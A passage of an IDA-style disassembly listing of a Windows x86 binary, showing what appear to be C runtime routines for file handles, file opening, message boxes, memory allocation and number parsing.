sub_4192E6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_460C60 push edi jnb short loc_4191C1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:460B60h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_4191C1 cmp ds:dword_42E184, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short near ptr loc_4191B6+1 sub eax, 0 jz short loc_4191AE dec eax jz short loc_4191A9 dec eax jnz short near ptr loc_4191B6+1 push ebx push 0FFFFFFF4h jmp short loc_4191B1 ; --------------------------------------------------------------------------- loc_4191A9: ; CODE XREF: sub_419161+3Ej push ebx push 0FFFFFFF5h jmp short loc_4191B1 ; --------------------------------------------------------------------------- loc_4191AE: ; CODE XREF: sub_419161+3Bj push ebx push 0FFFFFFF6h loc_4191B1: ; CODE XREF: sub_419161+46j ; sub_419161+4Bj call near ptr 3D0000h loc_4191B6: ; CODE XREF: sub_419161+36j ; sub_419161+41j or byte ptr [ebx+301C8907h], 33h rcr byte ptr [ebx-15h], 14h loc_4191C1: ; CODE XREF: sub_419161+Cj ; sub_419161+28j and ds:dword_45F848, 0 mov ds:dword_45F844, 9 or eax, 0FFFFFFFFh pop edi pop esi retn sub_419161 endp ; =============== S U B R O U T I N E ======================================= sub_4191D8 proc near ; CODE XREF: sub_416300+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, ds:dword_460C60 push edi jnb short loc_41923B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:460B60h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41923B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41923B cmp ds:dword_42E184, 1 jnz short near ptr loc_419230+1 xor eax, eax sub ecx, eax jz short loc_419228 dec ecx jz short loc_419223 dec ecx jnz short near ptr loc_419230+1 push eax push 0FFFFFFF4h jmp short loc_41922B ; --------------------------------------------------------------------------- loc_419223: ; CODE XREF: sub_4191D8+41j push eax push 0FFFFFFF5h jmp short loc_41922B ; --------------------------------------------------------------------------- loc_419228: ; CODE XREF: sub_4191D8+3Ej push eax push 0FFFFFFF6h loc_41922B: ; CODE XREF: sub_4191D8+49j ; sub_4191D8+4Ej call near ptr 3D0000h loc_419230: ; CODE XREF: sub_4191D8+38j ; sub_4191D8+44j xchg cl, [ebx+300C8307h] push dword ptr [ebx] shr bl, 14h loc_41923B: ; CODE XREF: sub_4191D8+Cj ; sub_4191D8+2Aj ... and ds:dword_45F848, 0 mov ds:dword_45F844, 9 or eax, 0FFFFFFFFh pop edi pop esi retn sub_4191D8 endp ; =============== S U B R O U T I N E ======================================= sub_419252 proc near ; CODE XREF: sub_416300+32p ; sub_416300+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_460C60 jnb short loc_41927A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_460B60[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41927A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41927A: ; CODE XREF: sub_419252+Aj ; sub_419252+23j and ds:dword_45F848, 0 mov ds:dword_45F844, 9 or eax, 0FFFFFFFFh retn sub_419252 endp ; =============== S U B R O U T I N E ======================================= sub_41928F proc near ; CODE XREF: sub_4163DE+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_460C60 jnb short loc_4192D8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, ds:dword_460B60[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_4192D8 push eax call sub_419252 pop ecx push eax call near ptr 3D0000h mov al, [ebp-0F78A40h] adc eax, offset dword_41C068 jmp short loc_4192CF ; --------------------------------------------------------------------------- xor eax, eax loc_4192CF: ; CODE XREF: sub_41928F+3Cj test eax, eax jz short locret_4192E5 mov ds:dword_45F848, eax loc_4192D8: ; CODE XREF: sub_41928F+Aj ; sub_41928F+22j mov ds:dword_45F844, 9 or eax, 0FFFFFFFFh locret_4192E5: ; CODE XREF: sub_41928F+42j retn sub_41928F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192E6 proc near ; CODE XREF: sub_4167BA+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41930C mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_419317 ; --------------------------------------------------------------------------- loc_41930C: ; CODE XREF: sub_4192E6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_419317: ; CODE XREF: sub_4192E6+24j mov eax, 8000h test ecx, eax jnz short loc_419331 test ch, 40h jnz short loc_41932D cmp ds:dword_45FB28, eax jz short loc_419331 loc_41932D: ; CODE XREF: sub_4192E6+3Dj or [ebp+var_1], 80h loc_419331: ; CODE XREF: sub_4192E6+38j ; sub_4192E6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_419369 dec eax jz short loc_419360 dec eax jz short loc_419357 loc_419342: ; CODE XREF: sub_4192E6+9Fj ; sub_4192E6+E8j ... mov ds:dword_45F844, 16h mov ds:dword_45F848, ebx jmp loc_41957C ; --------------------------------------------------------------------------- loc_419357: ; CODE XREF: sub_4192E6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_419370 ; --------------------------------------------------------------------------- loc_419360: ; CODE XREF: sub_4192E6+57j mov [ebp+var_C], 40000000h jmp short loc_419370 ; --------------------------------------------------------------------------- loc_419369: ; CODE XREF: sub_4192E6+54j mov [ebp+var_C], 80000000h loc_419370: ; CODE XREF: sub_4192E6+78j ; sub_4192E6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41939E cmp eax, 20h jz short loc_419395 cmp eax, 30h jz short loc_41938C cmp eax, 40h jnz short loc_419342 mov [ebp+var_10], esi jmp short loc_4193A1 ; --------------------------------------------------------------------------- loc_41938C: ; CODE XREF: sub_4192E6+9Aj mov [ebp+var_10], 2 jmp short loc_4193A1 ; --------------------------------------------------------------------------- loc_419395: ; CODE XREF: sub_4192E6+95j mov [ebp+var_10], 1 jmp short loc_4193A1 ; --------------------------------------------------------------------------- loc_41939E: ; CODE XREF: sub_4192E6+90j mov [ebp+var_10], ebx loc_4193A1: ; CODE XREF: sub_4192E6+A4j ; sub_4192E6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_4193EB jz short loc_4193E6 cmp ecx, ebx jz short loc_4193E6 cmp ecx, edi jz short loc_4193DD cmp ecx, 200h jz short loc_419404 cmp ecx, 300h jnz loc_419342 mov [ebp+var_8], 2 jmp short loc_419414 ; --------------------------------------------------------------------------- loc_4193DD: ; CODE XREF: sub_4192E6+D8j mov [ebp+var_8], 4 jmp short loc_419414 ; --------------------------------------------------------------------------- loc_4193E6: ; CODE XREF: sub_4192E6+D0j ; sub_4192E6+D4j mov [ebp+var_8], esi jmp short loc_419414 ; --------------------------------------------------------------------------- loc_4193EB: ; CODE XREF: sub_4192E6+CEj cmp ecx, 500h jz short loc_41940D cmp ecx, 600h jz short loc_419404 cmp ecx, edx jz short loc_41940D jmp loc_419342 ; --------------------------------------------------------------------------- loc_419404: ; CODE XREF: sub_4192E6+E0j ; sub_4192E6+113j mov [ebp+var_8], 5 jmp short loc_419414 ; --------------------------------------------------------------------------- loc_41940D: ; CODE XREF: sub_4192E6+10Bj ; sub_4192E6+117j mov [ebp+var_8], 1 loc_419414: ; CODE XREF: sub_4192E6+F5j ; sub_4192E6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_419433 mov ecx, ds:dword_45F84C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_419433 push 1 pop esi loc_419433: ; CODE XREF: sub_4192E6+138j ; sub_4192E6+148j test al, 40h jz short loc_419441 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_419441: ; CODE XREF: sub_4192E6+14Fj test ah, 10h jz short loc_419448 or esi, edi loc_419448: ; CODE XREF: sub_4192E6+15Ej test al, 20h jz short loc_419454 or esi, 8000000h jmp short loc_41945E ; --------------------------------------------------------------------------- loc_419454: ; CODE XREF: sub_4192E6+164j test al, 10h jz short loc_41945E or esi, 10000000h loc_41945E: ; CODE XREF: sub_4192E6+16Cj ; sub_4192E6+170j call sub_4190CC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41947F and ds:dword_45F848, 0 mov ds:dword_45F844, 18h jmp short loc_4194BD ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_4192E6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:dword_41C078 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_4194B0 push esi call near ptr 3D0000h scasd test eax, eax jnz short loc_4194C4 push esi call ds:dword_41C070 ; CloseHandle loc_4194B0: ; CODE XREF: sub_4192E6+1B6j call ds:dword_41C068 ; RtlGetLastWin32Error push eax call sub_41724D pop ecx loc_4194BD: ; CODE XREF: sub_4192E6+197j mov eax, edi jmp loc_41959A ; --------------------------------------------------------------------------- loc_4194C4: ; CODE XREF: sub_4192E6+1C1j cmp eax, 2 jnz short loc_4194CF or [ebp+var_1], 40h jmp short loc_4194D8 ; --------------------------------------------------------------------------- loc_4194CF: ; CODE XREF: sub_4192E6+1E1j cmp eax, 3 jnz short loc_4194D8 or [ebp+var_1], 8 loc_4194D8: ; CODE XREF: sub_4192E6+1E7j ; sub_4192E6+1ECj push esi push ebx call sub_419161 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:460B60h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_419581 test al, 80h jz short loc_419581 test byte ptr [ebp+arg_4], 2 jz short loc_419581 push 2 push 0FFFFFFFFh push ebx call sub_4169A2 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_419536 cmp ds:dword_45F848, 83h jz short loc_419581 jmp short loc_419575 ; --------------------------------------------------------------------------- loc_419536: ; CODE XREF: sub_4192E6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_4165C4 add esp, 0Ch test eax, eax jnz short loc_419563 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_419563 push [ebp+var_10] push ebx call loc_41A233 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_419575 loc_419563: ; CODE XREF: sub_4192E6+265j ; sub_4192E6+26Bj push 0 push 0 push ebx call sub_4169A2 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_419581 loc_419575: ; CODE XREF: sub_4192E6+24Ej ; sub_4192E6+27Bj push ebx call sub_416300 pop ecx loc_41957C: ; CODE XREF: sub_4192E6+6Cj or eax, 0FFFFFFFFh jmp short loc_41959A ; --------------------------------------------------------------------------- loc_419581: ; CODE XREF: sub_4192E6+221j ; sub_4192E6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_419598 test byte ptr [ebp+arg_4], 8 jz short loc_419598 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_419598: ; CODE XREF: sub_4192E6+29Fj ; sub_4192E6+2A5j mov eax, ebx loc_41959A: ; CODE XREF: sub_4192E6+1D9j ; sub_4192E6+299j pop edi pop esi pop ebx leave retn sub_4192E6 endp ; =============== S U B R O U T I N E ======================================= sub_41959F proc near ; CODE XREF: seg000:0041752Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_4195B0 add esp, 0Ch retn sub_41959F endp ; =============== S U B R O U T I N E ======================================= sub_4195B0 proc near ; CODE XREF: sub_41959F+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_460D81[eax], cl jnz short loc_4195DD cmp [esp+arg_4], 0 jz short loc_4195D6 movzx eax, ds:word_42E19A[eax*2] and eax, [esp+arg_4] jmp short loc_4195D8 ; --------------------------------------------------------------------------- loc_4195D6: ; CODE XREF: sub_4195B0+16j xor eax, eax loc_4195D8: ; CODE XREF: sub_4195B0+24j test eax, eax jnz short loc_4195DD retn ; --------------------------------------------------------------------------- loc_4195DD: ; CODE XREF: sub_4195B0+Fj ; sub_4195B0+2Aj push 1 pop eax retn sub_4195B0 endp ; =============== S U B R O U T I N E ======================================= sub_4195E1 proc near ; CODE XREF: sub_417C59+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp ds:dword_45FB08, ebx push esi push edi jnz short loc_419630 push offset aUser32_dll ; "user32.dll" call ds:dword_41C0AC ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_419666 mov esi, ds:dword_41C0B0 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov ds:dword_45FB08, eax jz short loc_419666 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_45FB0C, eax call esi mov ds:dword_45FB10, eax loc_419630: ; CODE XREF: sub_4195E1+Bj mov eax, ds:dword_45FB0C test eax, eax jz short loc_41964F call eax mov ebx, eax test ebx, ebx jz short loc_41964F mov eax, ds:dword_45FB10 test eax, eax jz short loc_41964F push ebx call eax mov ebx, eax loc_41964F: ; CODE XREF: sub_4195E1+56j ; sub_4195E1+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call ds:dword_45FB08 loc_419662: ; CODE XREF: sub_4195E1+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_419666: ; CODE XREF: sub_4195E1+1Cj ; sub_4195E1+33j xor eax, eax jmp short loc_419662 sub_4195E1 endp ; =============== S U B R O U T I N E ======================================= sub_41966A proc near ; CODE XREF: seg000:00417FE5p ; seg000:00417FFEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41968A test esi, esi jnz short loc_419684 push 1 pop esi loc_419684: ; CODE XREF: sub_41966A+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41968A: ; CODE XREF: sub_41966A+11j ; sub_41966A+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_4196BB cmp ebx, ds:dword_42E3AC ja short loc_4196A6 push ebx call sub_4138A6 mov edi, eax pop ecx test edi, edi jnz short loc_4196D1 loc_4196A6: ; CODE XREF: sub_41966A+2Dj push esi push 8 push ds:dword_460EA0 call ds:dword_41C134 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_4196DD loc_4196BB: ; CODE XREF: sub_41966A+25j cmp ds:dword_45F89C, 0 jz short loc_4196DD push esi call sub_4134BB test eax, eax pop ecx jz short loc_4196E3 jmp short loc_41968A ; --------------------------------------------------------------------------- loc_4196D1: ; CODE XREF: sub_41966A+3Aj push ebx push 0 push edi call sub_410590 add esp, 0Ch loc_4196DD: ; CODE XREF: sub_41966A+4Fj ; sub_41966A+58j mov eax, edi loc_4196DF: ; CODE XREF: sub_41966A+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4196E3: ; CODE XREF: sub_41966A+63j xor eax, eax jmp short loc_4196DF sub_41966A endp ; --------------------------------------------------------------------------- loc_4196E7: ; CODE XREF: seg000:00418076j push esi push edi push 3 xor edi, edi pop esi cmp ds:dword_460B40, esi jle short loc_41973A loc_4196F6: ; CODE XREF: seg000:00419738j mov eax, ds:dword_45FB34 mov eax, [eax+esi*4] test eax, eax jz short loc_419731 test byte ptr [eax+0Ch], 83h jz short loc_419715 push eax call sub_4119F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_419715 inc edi loc_419715: ; CODE XREF: seg000:00419706j ; seg000:00419712j cmp esi, 14h jl short loc_419731 mov eax, ds:dword_45FB34 push dword ptr [eax+esi*4] call sub_410C83 mov eax, ds:dword_45FB34 pop ecx and dword ptr [eax+esi*4], 0 loc_419731: ; CODE XREF: seg000:00419700j ; seg000:00419718j inc esi cmp esi, ds:dword_460B40 jl short loc_4196F6 loc_41973A: ; CODE XREF: seg000:004196F4j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_41973F proc near ; CODE XREF: sub_4183DF+2Bp ; sub_4183DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_419755 cmp ecx, esi jnb short loc_419758 loc_419755: ; CODE XREF: sub_41973F+10j push 1 pop eax loc_419758: ; CODE XREF: sub_41973F+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41973F endp ; =============== S U B R O U T I N E ======================================= sub_419760 proc near ; CODE XREF: sub_419819+40p ; sub_419819+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41973F add esp, 0Ch test eax, eax jz short loc_419792 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41973F add esp, 0Ch test eax, eax jz short loc_419792 inc dword ptr [esi+8] loc_419792: ; CODE XREF: sub_419760+19j ; sub_419760+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41973F add esp, 0Ch test eax, eax jz short loc_4197AA inc dword ptr [esi+8] loc_4197AA: ; CODE XREF: sub_419760+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41973F add esp, 0Ch pop edi pop esi retn sub_419760 endp ; =============== S U B R O U T I N E ======================================= sub_4197BE proc near ; CODE XREF: sub_419819+30p ; sub_419819+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4197BE endp ; =============== S U B R O U T I N E ======================================= sub_4197EC proc near ; CODE XREF: sub_419DB1+1C8p ; sub_41A379+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4197EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419819 proc near ; CODE XREF: sub_4198E0+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41988D push edi mov [ebp+arg_8], eax loc_419840: ; CODE XREF: sub_419819+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4197BE push ebx call sub_4197BE lea eax, [ebp+var_10] push eax push ebx call sub_419760 push ebx call sub_4197BE mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_419760 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_419840 xor edx, edx pop edi loc_41988D: ; CODE XREF: sub_419819+21j ; sub_419819+9Fj cmp [ebx+8], edx jnz short loc_4198BA mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41988D ; --------------------------------------------------------------------------- loc_4198BA: ; CODE XREF: sub_419819+77j mov esi, 8000h loc_4198BF: ; CODE XREF: sub_419819+B9j test [ebx+8], esi jnz short loc_4198D4 push ebx call sub_4197BE add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4198BF ; --------------------------------------------------------------------------- loc_4198D4: ; CODE XREF: sub_419819+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_419819 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198E0 proc near ; CODE XREF: sub_418728+17p ; sub_418755+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41991B: ; CODE XREF: sub_4198E0+52j mov cl, [edi] cmp cl, 20h jz short loc_419931 cmp cl, 9 jz short loc_419931 cmp cl, 0Ah jz short loc_419931 cmp cl, 0Dh jnz short loc_419934 loc_419931: ; CODE XREF: sub_4198E0+40j ; sub_4198E0+45j ... inc edi jmp short loc_41991B ; --------------------------------------------------------------------------- loc_419934: ; CODE XREF: sub_4198E0+4Fj push 4 pop esi loc_419937: ; CODE XREF: sub_4198E0+AEj ; sub_4198E0+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_419BBA ; default ; jumptable 00419943 case 10 jmp ds:off_419D81[eax*4] ; switch jump loc_41994A: ; DATA XREF: seg000:off_419D81o cmp bl, 31h ; jumptable 00419943 case 0 jl short loc_41995B cmp bl, 39h jg short loc_41995B loc_419954: ; CODE XREF: sub_4198E0+C4j ; sub_4198E0+118j push 3 jmp loc_419B78 ; --------------------------------------------------------------------------- loc_41995B: ; CODE XREF: sub_4198E0+6Dj ; sub_4198E0+72j cmp bl, ds:byte_42E3A0 jnz short loc_41996A loc_419963: ; CODE XREF: sub_4198E0+124j push 5 jmp loc_419BB0 ; --------------------------------------------------------------------------- loc_41996A: ; CODE XREF: sub_4198E0+81j movsx eax, bl sub eax, 2Bh jz short loc_419990 dec eax dec eax jz short loc_419984 sub eax, 3 jnz loc_419C53 jmp loc_419A13 ; --------------------------------------------------------------------------- loc_419984: ; CODE XREF: sub_4198E0+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_419937 ; --------------------------------------------------------------------------- loc_419990: ; CODE XREF: sub_4198E0+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_419937 ; --------------------------------------------------------------------------- loc_419999: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o cmp bl, 31h ; jumptable 00419943 case 1 mov [ebp+var_10], edx jl short loc_4199A6 cmp bl, 39h jle short loc_419954 loc_4199A6: ; CODE XREF: sub_4198E0+BFj cmp bl, ds:byte_42E3A0 jz loc_419A6E cmp bl, 2Bh jz short loc_4199E8 cmp bl, 2Dh jz short loc_4199E8 cmp bl, 30h jz short loc_419A13 loc_4199C1: ; CODE XREF: sub_4198E0+207j cmp bl, 43h jle loc_419C53 cmp bl, 45h jle short loc_4199E1 cmp bl, 63h jle loc_419C53 cmp bl, 65h jg loc_419C53 loc_4199E1: ; CODE XREF: sub_4198E0+EDj push 6 jmp loc_419BB0 ; --------------------------------------------------------------------------- loc_4199E8: ; CODE XREF: sub_4198E0+D5j ; sub_4198E0+DAj ... dec edi push 0Bh jmp loc_419BB0 ; --------------------------------------------------------------------------- loc_4199F0: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o cmp bl, 31h ; jumptable 00419943 case 2 jl short loc_4199FE cmp bl, 39h jle loc_419954 loc_4199FE: ; CODE XREF: sub_4198E0+113j cmp bl, ds:byte_42E3A0 jz loc_419963 cmp bl, 30h jnz loc_419BC8 loc_419A13: ; CODE XREF: sub_4198E0+9Fj ; sub_4198E0+DFj mov eax, edx jmp loc_419937 ; --------------------------------------------------------------------------- loc_419A1A: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o mov [ebp+var_10], edx ; jumptable 00419943 case 3 loc_419A1D: ; CODE XREF: sub_4198E0+184j cmp ds:dword_42E39C, edx jle short loc_419A36 movzx eax, bl push esi push eax call sub_413446 pop ecx pop ecx push 1 pop edx jmp short loc_419A44 ; --------------------------------------------------------------------------- loc_419A36: ; CODE XREF: sub_4198E0+143j mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_419A44: ; CODE XREF: sub_4198E0+154j test eax, eax jz short loc_419A66 cmp [ebp+var_4], 19h jnb short loc_419A5E mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_419A61 ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4198E0+16Cj inc [ebp+var_8] loc_419A61: ; CODE XREF: sub_4198E0+17Cj mov bl, [edi] inc edi jmp short loc_419A1D ; --------------------------------------------------------------------------- loc_419A66: ; CODE XREF: sub_4198E0+166j cmp bl, ds:byte_42E3A0 jnz short loc_419AD5 loc_419A6E: ; CODE XREF: sub_4198E0+CCj mov eax, esi jmp loc_419937 ; --------------------------------------------------------------------------- loc_419A75: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o cmp [ebp+var_4], 0 ; jumptable 00419943 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_419A8E loc_419A81: ; CODE XREF: sub_4198E0+1ACj cmp bl, 30h jnz short loc_419A8E dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_419A81 ; --------------------------------------------------------------------------- loc_419A8E: ; CODE XREF: sub_4198E0+19Fj ; sub_4198E0+1A4j ... cmp ds:dword_42E39C, edx jle short loc_419AA7 movzx eax, bl push esi push eax call sub_413446 pop ecx pop ecx push 1 pop edx jmp short loc_419AB5 ; --------------------------------------------------------------------------- loc_419AA7: ; CODE XREF: sub_4198E0+1B4j mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_419AB5: ; CODE XREF: sub_4198E0+1C5j test eax, eax jz short loc_419AD5 cmp [ebp+var_4], 19h jnb short loc_419AD0 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_419AD0: ; CODE XREF: sub_4198E0+1DDj mov bl, [edi] inc edi jmp short loc_419A8E ; --------------------------------------------------------------------------- loc_419AD5: ; CODE XREF: sub_4198E0+18Cj ; sub_4198E0+1D7j cmp bl, 2Bh jz loc_4199E8 cmp bl, 2Dh jz loc_4199E8 jmp loc_4199C1 ; --------------------------------------------------------------------------- loc_419AEC: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o cmp ds:dword_42E39C, edx ; jumptable 00419943 case 5 mov [ebp+var_24], edx jle short loc_419B08 movzx eax, bl push esi push eax call sub_413446 pop ecx pop ecx push 1 pop edx jmp short loc_419B16 ; --------------------------------------------------------------------------- loc_419B08: ; CODE XREF: sub_4198E0+215j mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_419B16: ; CODE XREF: sub_4198E0+226j test eax, eax jz loc_419BC8 mov eax, esi jmp short loc_419B79 ; --------------------------------------------------------------------------- loc_419B22: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o lea ecx, [edi-2] ; jumptable 00419943 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_419B32 cmp bl, 39h jle short loc_419B76 loc_419B32: ; CODE XREF: sub_4198E0+24Bj movsx eax, bl sub eax, 